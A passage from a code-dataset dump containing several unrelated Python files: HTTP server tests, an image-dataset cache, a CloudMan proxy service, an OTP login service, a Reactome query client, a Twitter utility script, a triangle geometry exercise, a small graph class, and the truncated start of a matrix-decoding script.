test_it_should_return_success_statuses(self):\n expected_status = 200\n self.server.data['response_status'] = expected_status\n\n r = self.request('GET', self.default_url)\n\n assert_that(r.status_code, is_(expected_status))\n\n def test_it_should_not_loop_on_redirections(self):\n self.server.data['response_clear'] = True\n self.server.data['response_status'] = 301\n self.server.data['response_headers'] = {'Location': self.default_url}\n\n r = self.request('GET', self.default_url)\n\n assert_that(r.status_code, is_(200))\n\n def test_it_should_not_hold_previous_data(self):\n self.server.data['response_reset'] = True\n self.request('GET', self.default_url)\n\n assert_that(self.server.data, is_({}))\n\n\nclass HttpErrorsMixin(object):\n \"\"\"Tests sobre errores HTTP devueltos por el servidor\"\"\"\n\n def test_it_should_return_user_error_codes(self):\n expected_status = 404\n self.server.data['response_status'] = expected_status\n\n r = self.request(method='GET', url=self.default_url)\n\n assert_that(r.status_code, is_(expected_status))\n\n def test_it_should_return_user_unauthorized_error_codes(self):\n expected_status = 401\n self.server.data['response_status'] = expected_status\n\n r = self.request(method='GET', url=self.default_url)\n\n assert_that(r.status_code, is_(expected_status))\n\n def test_it_should_return_user_forbidden_error_codes(self):\n expected_status = 403\n self.server.data['response_status'] = expected_status\n\n r = self.request(method='GET', url=self.default_url)\n\n assert_that(r.status_code, is_(expected_status))\n\n def test_it_should_return_user_not_found_error_codes(self):\n expected_status = 404\n self.server.data['response_status'] = expected_status\n\n r = self.request(method='GET', url=self.default_url)\n\n assert_that(r.status_code, is_(expected_status))\n\n def test_it_should_return_server_error_codes(self):\n expected_status = 500\n self.server.data['response_status'] = expected_status\n\n r = self.request(method='GET', url=self.default_url)\n\n assert_that(r.status_code, is_(expected_status))\n\n def test_it_should_return_unknown_error_codes(self):\n expected_status = 599\n self.server.data['response_status'] = expected_status\n\n r = self.request(method='GET', url=self.default_url)\n\n assert_that(r.status_code, is_(expected_status))\n\n def test_it_should_return_given_headers(self):\n headers = {'key': 'value'}\n self.server.data['response_headers'] = headers\n\n r = self.request('GET', self.default_url)\n\n assert_that(r.headers['key'], is_('value'))\n\n def test_it_should_return_given_multiple_headers(self):\n headers = [('key', 'value'), ('key', 'value')]\n self.server.data['response_headers'] = headers\n\n r = self.request('GET', self.default_url)\n\n assert_that(r.headers, has_entry('key', 'value, value'))\n\n\n# actual test implementations\nclass TestHttp(HttpTestServer, ServerTestMixin, DataMixin, MethodsMixin,\n ConnectionMixin, HttpErrorsMixin):\n \"\"\"Test http server\"\"\"\n\n\nclass TestHttps(HttpsTestServer, ServerTestMixin, DataMixin,\n MethodsMixin, ConnectionMixin, HttpErrorsMixin):\n \"\"\"Test https server\"\"\"\n\n\nclass TestContexts(object):\n def test_it_starts_http_server(self):\n with http_server() as server:\n assert_that(server, all_of(\n is_(instance_of(Server)),\n has_property('scheme', is_('http'))\n ))\n\n def test_it_stops_http_server(self):\n with http_server() as server:\n assert_that(server.is_alive(), is_(True))\n\n time.sleep(0.01)\n assert_that(server.is_alive(), is_(False))\n\n def test_it_starts_https_server(self):\n with https_server() as server:\n assert_that(server, all_of(\n is_(instance_of(Server)),\n has_property('scheme', is_('https'))\n ))\n\n def test_it_stops_https_server(self):\n with https_server() as server:\n assert_that(server.is_alive(), is_(True))\n\n time.sleep(0.01)\n assert_that(server.is_alive(), is_(False))\n","sub_path":"tests/test_http_server.py","file_name":"test_http_server.py","file_ext":"py","file_size_in_byte":8421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"539653807","text":"import concurrent.futures\nimport gzip\nimport os\n\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom mask_rcnn.util.utils import Dataset\n\n\nclass CachedDataset(Dataset):\n \"\"\"\n Dataset base class for datasets where images, masks or both should be cached on disk.\n This will lead to a performance gain if masks are expensive to compute and the hard disk is fast.\n \"\"\"\n def __init__(self, class_map=None, cache_path='', version='', cache_images=True, cache_masks=True,\n num_preload_workers=32):\n assert cache_path != '' and version != '', 'cache_path and version can not be empty'\n self.cache_path = os.path.join(cache_path, f'v_{version}')\n self.cache_images = cache_images\n self.cache_masks = cache_masks\n self.data_cached = False\n self.num_preload_workers = num_preload_workers\n\n os.makedirs(self.cache_path, exist_ok=True)\n\n super().__init__(class_map)\n\n def _cache_path(self, image_id, path_type):\n name = self.image_info[image_id]['id']\n filename = f'{name}.{path_type}.npy.gz'\n path = os.path.join(self.cache_path, filename)\n return path\n\n def image_path(self, image_id):\n return self._cache_path(image_id, 'image')\n\n def masks_path(self, image_id):\n return self._cache_path(image_id, 'masks')\n\n def classes_path(self, image_id):\n return self._cache_path(image_id, 'classes')\n\n def is_cached(self, image_id):\n cached = True\n # shortcut once we know everything is cached\n if self.data_cached:\n return True\n if self.cache_images and not os.path.isfile(self.image_path(image_id)):\n cached = False\n if self.cache_masks and not os.path.isfile(self.masks_path(image_id)):\n cached = False\n if self.cache_masks and not os.path.isfile(self.classes_path(image_id)):\n cached = False\n return cached\n\n def preload_image_async(self, image_id):\n if self.cache_images:\n image = self.load_image(image_id)\n with gzip.GzipFile(self.image_path(image_id), 'w', compresslevel=1) as f:\n np.save(f, image)\n if self.cache_masks:\n masks, classes = self.load_mask(image_id)\n with gzip.GzipFile(self.masks_path(image_id), 'w', compresslevel=1) as f:\n np.save(f, masks)\n with gzip.GzipFile(self.classes_path(image_id), 'w', compresslevel=1) as f:\n np.save(f, classes)\n\n def prepare(self, class_map=None):\n super().prepare(class_map)\n\n print('Preparing dataset...')\n\n self.data_cached = False\n with concurrent.futures.ThreadPoolExecutor(max_workers=self.num_preload_workers) as executor:\n all_futures = []\n for image_id in tqdm(self.image_ids):\n # images already present\n if self.is_cached(image_id):\n continue\n if len(all_futures) >= self.num_preload_workers:\n finished_future = next(concurrent.futures.as_completed(all_futures))\n all_futures.remove(finished_future)\n new_future = executor.submit(self.preload_image_async, image_id)\n all_futures.append(new_future)\n # await all futures\n for future in concurrent.futures.as_completed(all_futures):\n future.result()\n self.data_cached = True\n\n def load_image(self, image_id):\n if self.cache_images and self.is_cached(image_id):\n with gzip.GzipFile(self.image_path(image_id), 'r', compresslevel=1) as f:\n return np.load(f)\n return self.load_image_without_caching(image_id)\n\n def load_image_without_caching(self, image_id):\n raise Exception('not implemented')\n\n def load_mask(self, image_id):\n if self.cache_masks and self.is_cached(image_id):\n with gzip.GzipFile(self.masks_path(image_id), 'r', compresslevel=1) as f:\n masks = np.load(f)\n with gzip.GzipFile(self.classes_path(image_id), 'r', compresslevel=1) as f:\n classes = np.load(f)\n return masks, classes\n return self.load_mask_without_caching(image_id)\n\n def load_mask_without_caching(self, image_id):\n raise Exception('not implemented')\n","sub_path":"mask_rcnn/util/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":4330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"580184236","text":"\"\"\"CloudMan service implementation for Galaxy NodeJS Proxy server.\"\"\"\nimport os\nfrom string import Template\n\nfrom cm.util import misc\nimport cm.util.paths as paths\nfrom cm.services import ServiceRole\nfrom cm.services import ServiceDependency\nfrom cm.services import service_states\nfrom cm.services.apps import ApplicationService\n\nimport logging\nlog = logging.getLogger('cloudman')\n\nsupervisor_conf = \"\"\";\n; This file is maintained by CloudMan - CHANGES WILL BE OVERWRITTEN!\n;\n\n[program:$supervisor_prog_name]\ndirectory = $galaxy_home\ncommand = $galaxy_home/lib/galaxy/web/proxy/js/lib/main.js \\\n --sessions database/session_map.sqlite --ip 0.0.0.0 --port $np_port \\\n --cookie galaxysession --verbose\nautostart = false\nautorestart = unexpected\nredirect_stderr = true\nstdout_logfile = /var/log/galaxy_node_proxy.log\nuser = $galaxy_user\nstartsecs = 5\nredirect_stderr = true\n\"\"\"\n\n\nclass NodejsProxyService(ApplicationService):\n def __init__(self, app):\n super(NodejsProxyService, self).__init__(app)\n self.svc_roles = [ServiceRole.NODEJSPROXY]\n self.name = ServiceRole.to_string(ServiceRole.NODEJSPROXY)\n self.dependencies = [ServiceDependency(self, ServiceRole.GALAXY_TOOLS),\n ServiceDependency(self, ServiceRole.SUPERVISOR)]\n self.np_port = 8800\n self.supervisor_conf_dir = '/etc/supervisor/conf.d'\n self.supervisor_prog_name = 'galaxy_nodejs_proxy'\n\n @property\n def supervisor(self):\n ss = self.app.manager.service_registry.get_active('Supervisor')\n if not ss:\n log.debug(\"No supervisor service object?!?\")\n return ss\n\n def start(self):\n \"\"\"\n Start NodeJS Proxy service.\n \"\"\"\n log.debug(\"Starting NodeJS Proxy service\")\n self.state = service_states.STARTING\n self._configure()\n self._start_via_supervisor()\n\n def remove(self, synchronous=False):\n \"\"\"\n Stop the NodeJS Proxy service.\n \"\"\"\n log.info(\"Stopping NodeJS Proxy service\")\n super(NodejsProxyService, self).remove(synchronous)\n self.state = service_states.SHUTTING_DOWN\n self._stop_via_supervisor()\n self.state = service_states.SHUT_DOWN\n\n def _configure(self):\n \"\"\"\n Setup NodeJS Proxy within CloudMan and Galaxy contexts.\n\n This will create a config file for Supervisor while other,\n Galaxy-specific, requirements are assumed present\n (https://wiki.galaxyproject.org/Admin/IEs).\n \"\"\"\n log.debug(\"Configuring NodeJS Proxy.\")\n template_vars = {\n 'supervisor_prog_name': self.supervisor_prog_name,\n 'galaxy_home': self.app.path_resolver.galaxy_home,\n 'np_port': self.np_port,\n 'galaxy_user': paths.GALAXY_USER_NAME\n }\n if self.supervisor:\n supervisor_conf_file = os.path.join(self.supervisor.conf_dir,\n '{0}.conf'.format(self.supervisor_prog_name))\n template = Template(supervisor_conf)\n misc.write_template_file(template, template_vars, supervisor_conf_file)\n return True\n return False\n\n def _start_via_supervisor(self):\n \"\"\"\n Start the NodeJS Proxy server via Supervisord.\n \"\"\"\n log.debug(\"Starting NodeJS Proxy server via supervisord\")\n if self.supervisor:\n self.supervisor.start_program(self.supervisor_prog_name)\n\n def _stop_via_supervisor(self):\n \"\"\"\n Stop the NodeJS Proxy server via Supervisord.\n \"\"\"\n log.debug(\"Stopping NodeJS Proxy server via supervisord\")\n if self.supervisor:\n self.supervisor.stop_program(self.supervisor_prog_name)\n\n def status(self):\n \"\"\"\n Check and update the status of the service.\n \"\"\"\n if self.supervisor:\n statename = self.supervisor.get_program_status(self.supervisor_prog_name)\n # Translate supervisor states to CloudMan service states\n # http://supervisord.org/subprocess.html#process-states\n s_to_s = {\n 'STOPPED': service_states.SHUT_DOWN,\n 'STARTING': service_states.STARTING,\n 'RUNNING': service_states.RUNNING,\n 'BACKOFF': service_states.STARTING,\n 'STOPPING': service_states.SHUTTING_DOWN,\n 'EXITED': service_states.SHUT_DOWN,\n 'FATAL': service_states.ERROR,\n 'UNKNOWN': service_states.UNSTARTED\n }\n self.state = s_to_s.get(statename, self.state)\n","sub_path":"cm/services/apps/nodejsproxy.py","file_name":"nodejsproxy.py","file_ext":"py","file_size_in_byte":4651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"308746382","text":"import json\nimport hashlib\n\nfrom errors.InvalidUsage import InvalidUsage\nfrom models.Companies import Companies\nfrom models.Otp import Otp\nfrom services.CodeService import CodeService\nfrom services.EmailService import EmailService\nfrom services.TokenService import TokenService\n\n\nclass AuthenticationService:\n\n def __init__(self):\n self.emailService = EmailService()\n self.tokenService = TokenService()\n\n @staticmethod\n def verify_email(email):\n return Companies.objects(email=email, deleted_at='')\n\n def send_code(self, email):\n try:\n user = self.verify_email(email)[0]\n tokens = Otp.objects(company_id=user[\"id\"], deleted_at='')\n for token in tokens:\n token.delete()\n except IndexError:\n raise InvalidUsage(status_code=404, message=\"Email não encontrado\")\n\n code = CodeService.generate()\n\n hashed = hashlib.sha1(code.encode('utf-8')).hexdigest()\n\n Otp(company_id=user['id'], code=hashed).save().to_json()\n\n self.emailService.send_code(user.email, code)\n\n def login(self, email, code):\n try:\n user = self.verify_email(email)[0]\n otp = Otp.objects(company_id=user[\"id\"], deleted_at='').order_by('-created_at')[0]\n except IndexError:\n raise InvalidUsage(status_code=404, message=\"Email ou OTP não encontrado\")\n\n if otp.code != hashlib.sha1(code.upper().encode('utf-8')).hexdigest():\n raise InvalidUsage(status_code=401, message=\"Código OTP incorreto\")\n\n token = self.tokenService.generate(json.loads(user.to_json()))\n\n data = {\"token\": token, \"user\": json.loads(user.to_json())}\n\n otp.delete()\n\n return data\n\n @staticmethod\n def create(data):\n\n return Companies(\n email=data[0],\n name=data[1],\n cnpj=data[2]\n ).save()\n\n def validate(self, request):\n request.user = self.tokenService.decode(request.headers.get(\"Authorization\"))\n return request\n","sub_path":"services/AuthenticationService.py","file_name":"AuthenticationService.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"367655552","text":"import sys\nimport re\n\nfrom QueryBioThingsExplorer import QueryBioThingsExplorer\n\n\nclass QueryReactome:\n def __init__(self):\n self.biothings_explorer = QueryBioThingsExplorer()\n self.SPECIES_MNEMONICS = ['BOVIN', 'ACAVI', 'VACCW', 'PLAVS', 'CHICK', 'ECOLI', 'HORSE', 'MAIZE', 'MOUSE',\n 'PEA', 'PIG', 'RABIT', 'RAT', 'SHEEP', 'SOYBN', 'TOBAC', 'WHEAT', 'YEAST', 'HV1N5',\n 'HV1H2', 'DANRE', 'XENLA', 'MYCTU', 'HHV8P', 'HTLV2', 'HHV1', 'HPV16', '9HIV1',\n 'EBVB9', 'PROBE', 'HTL1C', 'I72A2', 'SV40', 'HV1B1', 'SCHPO', 'RUBV', 'MUS']\n\n def is_valid_uniprot_accession(self, accession_str):\n return re.match(\"[OPQ][0-9][A-Z0-9]{3}[0-9]|[A-NR-Z][0-9]([A-Z][A-Z0-9]{2}[0-9]){1,2}\",\n accession_str) is not None\n\n def query_uniprot_id_to_interacting_uniprot_ids_desc(self, uniprot_id):\n res = self.biothings_explorer.send_query_get(input_prefix='uniprot', output_prefix=\"uniprot\",\n input_value=uniprot_id)\n res_uniprot_ids = dict()\n if res:\n res = [_doc for _doc in res['data'] if _doc[\n 'endpoint'] == \"https://reactome.org/ContentService/interactors/static/molecule/{uniprot}/details\"]\n if res:\n for res_entity_interactor in res:\n int_uniprot_id = res_entity_interactor['output']['object']['id'][len('uniprot') + 1:]\n if 'CHEBI:' not in int_uniprot_id:\n if '-' in int_uniprot_id:\n int_uniprot_id = int_uniprot_id.split('-')[0]\n if 'secondary-id' in res_entity_interactor['output']['object']:\n int_alias = res_entity_interactor['output']['object']['secondary-id'][\n len('hgnc.symbol') + 1:]\n else:\n int_alias = ''\n alt_species = None\n if ' ' in int_alias:\n int_alias_split = int_alias.split(' ')\n int_alias = int_alias_split[0]\n alt_species = int_alias_split[1]\n if alt_species is None or (alt_species not in self.SPECIES_MNEMONICS and \\\n not (alt_species[0] == '9')):\n if alt_species is not None:\n if 'DNA' in int_alias_split or \\\n 'DNA-PROBE' in int_alias_split or \\\n 'DSDNA' in int_alias_split or \\\n 'GENE' in int_alias_split or \\\n 'PROMOTE' in int_alias_split or \\\n 'PROMOTER' in int_alias_split or \\\n any(['-SITE' in alias_element for alias_element in int_alias_split]) or \\\n any(['BIND' in alias_element for alias_element in int_alias_split]):\n target_gene_symbol = int_alias_split[0]\n int_alias = 'BINDSGENE:' + int_alias_split[0]\n else:\n print(\n 'For query protein ' + uniprot_id + ' and interactant protein ' + int_uniprot_id + ', check for potential other species name in Reactome output: ' + alt_species,\n file=sys.stderr)\n int_alias = None\n if int_alias is not None and int_alias != \"\" and self.is_valid_uniprot_accession(\n int_uniprot_id):\n res_uniprot_ids[int_uniprot_id] = int_alias\n return res_uniprot_ids\n\n def __query_uniprot_to_reactome_entity_id(self, uniprot_id):\n res = self.biothings_explorer.send_query_get(input_prefix='uniprot', output_prefix=\"reactome.complex\",\n input_value=uniprot_id)\n if res:\n ret_ids = set([_doc['output']['object']['id'].split(':')[1] for _doc in res['data']])\n return ret_ids\n else:\n return None\n\n def __query_uniprot_to_reactome_entity_id_desc(self, uniprot_id):\n res = self.biothings_explorer.send_query_get(input_prefix='uniprot', output_prefix=\"reactome.complex\",\n input_value=uniprot_id)\n reactome_ids_dict = dict()\n if res:\n for _doc in res['data']:\n res_id = _doc['output']['object']['id'].split(':')[1]\n if res_id.startswith('R-HSA-'):\n reactome_ids_dict[res_id] = _doc['output']['object']['secondary-id'][len(\"reactome.displayname:\"):]\n return reactome_ids_dict\n\n def __query_reactome_entity_id_to_reactome_pathway_ids_desc(self, reactome_entity_id):\n res = self.biothings_explorer.send_query_get(input_prefix='reactome.complex', output_prefix=\"reactome.pathway\",\n input_value=reactome_entity_id)\n reactome_ids_dict = dict()\n if res:\n for _doc in res['data']:\n res_id = _doc['output']['object']['id'].split(':')[1]\n if res_id.startswith('R-HSA-'):\n reactome_ids_dict[res_id] = _doc['output']['object']['secondary-id'][len(\"reactome.displayname:\"):]\n return reactome_ids_dict\n\n def query_uniprot_id_to_reactome_pathway_ids_desc(self, uniprot_id):\n reactome_entity_ids = self.__query_uniprot_to_reactome_entity_id(uniprot_id)\n res_dict = dict()\n for reactome_entity_id in reactome_entity_ids:\n if reactome_entity_id.startswith('R-HSA-'):\n pathway_ids_dict = self.__query_reactome_entity_id_to_reactome_pathway_ids_desc(reactome_entity_id)\n if len(pathway_ids_dict) > 0:\n res_dict.update(pathway_ids_dict)\n return res_dict\n\n def query_reactome_pathway_id_to_uniprot_ids_desc(self, reactome_pathway_id):\n res = self.biothings_explorer.send_query_get(input_prefix='reactome.pathway', output_prefix=\"uniprot\",\n input_value=reactome_pathway_id)\n ret_dict = dict()\n if res:\n participant_ids_list = [_doc['output']['object']['secondary-id'] for _doc in res['data']]\n for participant_id in participant_ids_list:\n if 'UniProt:' in participant_id:\n uniprot_id = participant_id.split(' ')[0].split(':')[-1]\n if ' ' in participant_id:\n prot_desc = participant_id.split(' ')[1]\n else:\n prot_desc = 'UNKNOWN'\n if '-' in uniprot_id:\n uniprot_id = uniprot_id.split('-')[0]\n ret_dict[uniprot_id] = prot_desc\n return ret_dict\n\n def test(self):\n print(QueryReactome().query_uniprot_id_to_interacting_uniprot_ids_desc(\"P62991\"))\n print(QueryReactome().is_valid_uniprot_accession(\"Q16665\"))\n print(QueryReactome().is_valid_uniprot_accession(\"EBI\"))\n print(QueryReactome().query_uniprot_id_to_interacting_uniprot_ids_desc(\"Q16665\"))\n print(QueryReactome().query_uniprot_id_to_interacting_uniprot_ids_desc('P04150'))\n print(QueryReactome().query_uniprot_id_to_interacting_uniprot_ids_desc('Q06609'))\n print(QueryReactome().query_uniprot_id_to_interacting_uniprot_ids_desc('Q13501'))\n print(QueryReactome().query_uniprot_id_to_interacting_uniprot_ids_desc('P68871'))\n print(QueryReactome().query_uniprot_id_to_interacting_uniprot_ids_desc('O75521-2'))\n print(QueryReactome().query_reactome_pathway_id_to_uniprot_ids_desc('R-HSA-5423646'))\n # print(QueryReactome().query_uniprot_id_to_reactome_pathway_ids_desc('P68871'))\n print(QueryReactome().__query_uniprot_to_reactome_entity_id('O75521-2'))\n print(QueryReactome().__query_uniprot_to_reactome_entity_id('P68871'))\n print(QueryReactome().__query_reactome_entity_id_to_reactome_pathway_ids_desc('R-HSA-2230989'))\n print(QueryReactome().__query_uniprot_to_reactome_entity_id_desc('P68871'))\n\n\nif __name__ == '__main__':\n QueryReactome().test()\n","sub_path":"QueryReactome.py","file_name":"QueryReactome.py","file_ext":"py","file_size_in_byte":8617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"128263331","text":"import tweepy\n\nclass colour:\n purple = '\\033[95m'\n blue = '\\033[94m'\n green = '\\033[92m'\n red = '\\033[91m'\n end = '\\033[0m'\n\n# Auth\nauth = tweepy.OAuthHandler(\"CONSUMER\", \"CONSUMER\")\nauth.set_access_token(\"ACCESS\", \"ACCESS\")\napi = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True, compression=True)\n\ndef menu():\n # Menu\n print('Welcome to Twitter Tools!\\nPlease choose a tool to begin:\\n----------------------\\n1. Verified Followers\\n2. Remove Followers\\n3. Transfer Following\\n4. Tweet\\n5. Tweet with Image\\n----------------------')\n choice = input('')\n # Choices\n if choice == '1':\n print('Verified Followers')\n verifiedFollowers()\n if choice == '2':\n print('Remove Followers')\n removeFollowers()\n if choice == '3':\n print('Transfer Following')\n transferFollowing()\n if choice == '4':\n print('Tweet')\n tweet()\n if choice == '5':\n print('Tweet with Image')\n tweetWithImage()\n else:\n print('Oops, you didn\\'t select a valid choice.')\n menu()\n\ndef verifiedFollowers():\n from os import environ\n homedir = environ.get(\"HOME\")\n if homedir == None: # on windows it is $HOMEPATH\n homedir = environ.get(\"HOMEPATH\")\n assert type(homedir) == str\n\n ids = []\n count = int(0)\n personNo = int(1)\n\n username = input('Enter your username: ')\n print('Finding followers of @' + username + '...')\n for page in tweepy.Cursor(api.followers_ids, screen_name=username).pages():\n ids.extend(page)\n\n print('Checking for verification...', colour.end)\n for person in page:\n personData = api.get_user(person)\n personVerified = personData.verified\n if personVerified == True:\n count = count + 1\n personUsername = personData.screen_name\n print(colour.green, f'Your follower @{personUsername} is verified! (#{personNo})', colour.end)\n\n textFile = open(f'{homedir}/verified-followers.txt', 'a')\n textFile.write(personUsername + '\\n')\n else:\n personUsername = personData.screen_name\n print(colour.red, f'Your follower @{personUsername} is not verified. (#{personNo})', colour.end)\n \n personNo = personNo + 1\n\n\n if count == 0:\n user = api.get_user(username)\n followers = user.followers_count\n followers = int(followers)\n print(colour.purple, 'You have', followers, 'followers.')\n print('Of those, you have no verified followers.', colour.end)\n if count == 1:\n with open (f'{homedir}/verified-followers.txt') as textFileRead:\n lines = textFileRead.readlines()\n follower = str(lines)\n follower = follower.replace('\\n', '')\n textFileRead.close()\n user = api.get_user(username)\n followers = user.followers_count\n followers = int(followers)\n print(colour.purple, 'You have', followers, 'followers.')\n print('Of those, you have 1 verified follower. Their username is @' + follower + '.')\n print('You can view a list of all of your verified followers in the text file.', colour.end)\n\n\n if count > 1:\n user = api.get_user(username)\n followers = user.followers_count\n followers = int(followers)\n print(colour.purple, 'You have', followers, 'followers.')\n print('Of those, you have', count, 'verified followers.')\n print('You can view a list of all of your verified followers in the text file.')\n percentFollowers = percent(count, followers)\n percentFollowers = int(percentFollowers)\n print(percentFollowers, 'percent of your followers are verified, approximately.', colour.end, colour.blue)\n pieQ = input('Do you want a pie chart created? This will be saved to to your user / home folder. (y/n)')\n print(colour.end)\n if 'y' in pieQ:\n import pygal\n verifiedPie = round(percentFollowers)\n notVerified = followers - count\n notVerifiedPie = percent(notVerified, followers)\n piechart = pygal.Pie()\n piechart.add('Verified', verifiedPie)\n piechart.add('Not Verified', notVerifiedPie)\n piechart.render()\n piechart.render_to_png(f'{homedir}/verified-followers.png')\n print(colour.purple, 'A pie chart with your followers data has been saved to your home folder.', colour.end)\n\n\n\n\ndef removeFollowers():\n ids = []\n\n username = input('Enter your username: ')\n\n print('Starting to remove followers of', username, '- you\\'ll see their Twitter user ID printed out when they have been blocked and unblocked.')\n for page in tweepy.Cursor(api.followers_ids, screen_name=username).pages():\n ids.extend(page)\n\n for user in ids:\n try:\n api.create_block(user)\n print('Blocked', user)\n except:\n print('There was an error blocking the user with ID', user)\n continue\n\n try:\n api.destroy_block(user)\n print('Unblocked', user)\n except:\n print('There was an error unblocking the user with ID', user)\n \n print('Your followers should have been removed!')\n\n\ndef transferFollowing():\n usernameOriginal = input('Enter the username of your original account: ')\n usernameNew = input('Enter the username of your new account: ')\n\n transferKeys = input('Would you like to use the access keys in this file for your new account? If so, these must match the username you entered just now - as the account of which the access keys in the file belongs to will start following everyone your old account used to follow. [Y/N]')\n transferKeys = transferKeys.capitalize\n # User's new account has access keys already in file\n if transferKeys == 'Y':\n ids = []\n\n # Get IDs of original account's followers\n print('Finding users... ')\n for page in tweepy.Cursor(api.friends_ids, screen_name=usernameOriginal).pages():\n ids.extend(page)\n print('Got following of', usernameOriginal)\n\n # For each follower in original account's followers\n for user in ids:\n try:\n # Follow the user\n api.create_friendship(user)\n print('Followed', user)\n except:\n print('There was an error following the user with ID', user)\n continue\n\n print('Your following should have been transferred!')\n\n # User's new account does not have access keys already in file: will supply new ones\n if transferKeys == 'N':\n newAccountAccess1 = input('Enter the first access key (with a hypen / dash) for your new account: ')\n newAccountAccess2 = input('Enter the second access key for your new account: ')\n # Reconnect to Twitter API with new auth keys\n auth.set_access_token(newAccountAccess1, newAccountAccess2)\n api = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True, compression=True)\n\n ids = []\n\n # Get IDs of original account's followers\n print('Finding users... ')\n for page in tweepy.Cursor(api.friends_ids, screen_name=usernameOriginal).pages():\n ids.extend(page)\n print('Got following of', usernameOriginal)\n\n # For each follower in original account's followers\n for user in ids:\n try:\n # Follow the user\n api.create_friendship(user)\n print('Followed', user)\n except:\n print('There was an error following the user with ID', user)\n continue\n\n print('Your following should have been transferred!')\n\ndef tweet():\n tweet = input(\"Enter a Tweet: \")\n api.update_status(tweet)\n print('Tweeted:', tweet)\n\ndef tweetWithImage():\n tweet = input(\"Enter a Tweet: \")\n\n import tkinter as tk\n from tkinter import filedialog\n root = tk.Tk()\n root.withdraw()\n print('Please select an image from the dialog.')\n image = filedialog.askopenfilename()\n\n media = api.media_upload(image)\n post_result = api.update_status(status=tweet, media_ids=[media.media_id])\n print('Tweeted:', tweet)\n\n\ndef percent(verifiedFollowers,totalFollowers):\n percent = (verifiedFollowers / totalFollowers)\n percent = percent * 100\n return percent\n\nmenu()\n","sub_path":"twitter-tools.py","file_name":"twitter-tools.py","file_ext":"py","file_size_in_byte":8427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"538992320","text":"\n# coding: utf-8\n\n# In[7]:\n\n\n# Задача-1: Написать класс для фигуры-треугольника, заданного координатами трех точек.\n# Определить методы, позволяющие вычислить: площадь, высоту и периметр фигуры.\n\n\nimport math\nclass T ():\n def __init__(self, a_x, a_y, b_x, b_y, c_x, c_y):\n self.a_x = a_x\n self.a_y = a_y\n self.b_x = b_x\n self.b_y = b_y\n self.c_x = c_x\n self.c_y = c_y\n self.AB = round (math.sqrt(int (math.fabs(((b_y - a_y)**2) + ((b_x - a_x)**2)))),2)\n self.BC = round(math.sqrt(int(math.fabs(((c_y - b_y) ** 2) + ((c_x - b_x) ** 2)))), 2)\n self.CA = round(math.sqrt(int(math.fabs(((a_y - c_y) ** 2) + ((a_x - c_x) ** 2)))), 2)\n\n def per(self):\n \n self.per = (self.AB + self.BC + self.CA)\n return (self.per)\n\n def square(self):\n self.per /=2\n self.square = round(math.sqrt(self.per*(self.per - self.AB)*(self.per - self.BC)* (self.per - self.CA)),2)\n return (self.square)\n\n def h(self):\n self.square *=2\n self.h = round((self.square / self.CA),2)\n return (self.h)\n\n\n# In[11]:\n\n\n# Задача-2: Написать Класс \"Равнобочная трапеция\", заданной координатами 4-х точек.\n# Предусмотреть в классе методы:\n# проверка, является ли фигура равнобочной трапецией;\n# вычисления: длины сторон, периметр, площадь.\ntri = T(4,5,7,6,7,9)\n\n\nprint('Длинна строны АВ = {}, ВС = {}, СА = {}'.format(tri.AB, tri.BC, tri.CA))\nprint('Периметр треугольника АВС равен {}'.format(tri.per()))\nprint('Площадь треугольника АВС равна {}'.format(tri.square()))\n\nif 'AB'=='BC'=='CA':\n print('Трапеция равнобочная')\nelse:\n print('Трапеция не равнобочная')\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"урок 6_климина_easy.py","file_name":"урок 6_климина_easy.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"475077899","text":"# This programs deals with the basic implementation of graph.\n# Author : Sahil Chauhan\n\n# edge data structure of graph\nclass edge:\n def __init__(self, y):\n self.y = y\n self.next_node = None\n\n# graph data structure\nclass graph: \n def __init__(self):\n self.nedges = 0\n self.nvertices = 0\n self.degree = dict()\n self.edges = dict()\n for i in range(0, 3):\n self.edges[i] = list()\n self.degree[i] = 0\n \n def insert_edge(self, x, y, directed):\n # create an edge\n x_y_edge = edge(y)\n x_y_edge.next_node = None\n\n # add edge to graph\n self.edges[x].append(x_y_edge)\n\n # increment degree\n self.degree[x] += 1\n\n if not directed:\n # for undirected graph insert it for (y,x)\n self.insert_edge(y, x, True)\n else:\n self.nedges+=1\n\n\n# instatiation of graph\ng = graph()\n\n# insert edges in graph\ng.insert_edge(1,2, False)\ng.insert_edge(0,1, False)\n\n# print graph\nfor i in range(0,3):\n print(\"Node : \", i)\n p = g.edges[i]\n for i in p:\n print(i.y)\n","sub_path":"Graphs/basics.py","file_name":"basics.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"126810877","text":"import re\n\nfirst_multiple_input = input().rstrip().split()\nn = int(first_multiple_input[0])\nm = int(first_multiple_input[1])\nmatrix = []\nfor _ in range(n):\n matrix_item = input()\n matrix.append(matrix_item)\n\n# Sample matrix\n# n = 8\n# m = 3\n# matrix = ['7 3', 'Tsi', 'h%x', 'i #', 'sM ', '$a ', '#t%', 'ir!']\ns = \"\"\nfor i in range(m):\n for j in range(n):\n s += matrix[j][i]\n\nreplaced = re.sub(r'\\s|[0-9]', '', s)\nreplaced = re.sub(r'[!@$#%& ]+', r' ', replaced).strip()\nreplaced += s[re.search(r'[a-zA-Z][!@$#%&\\s]*$', s).start() + 1:]\nreplaced = re.sub(r'\\s+', ' ', 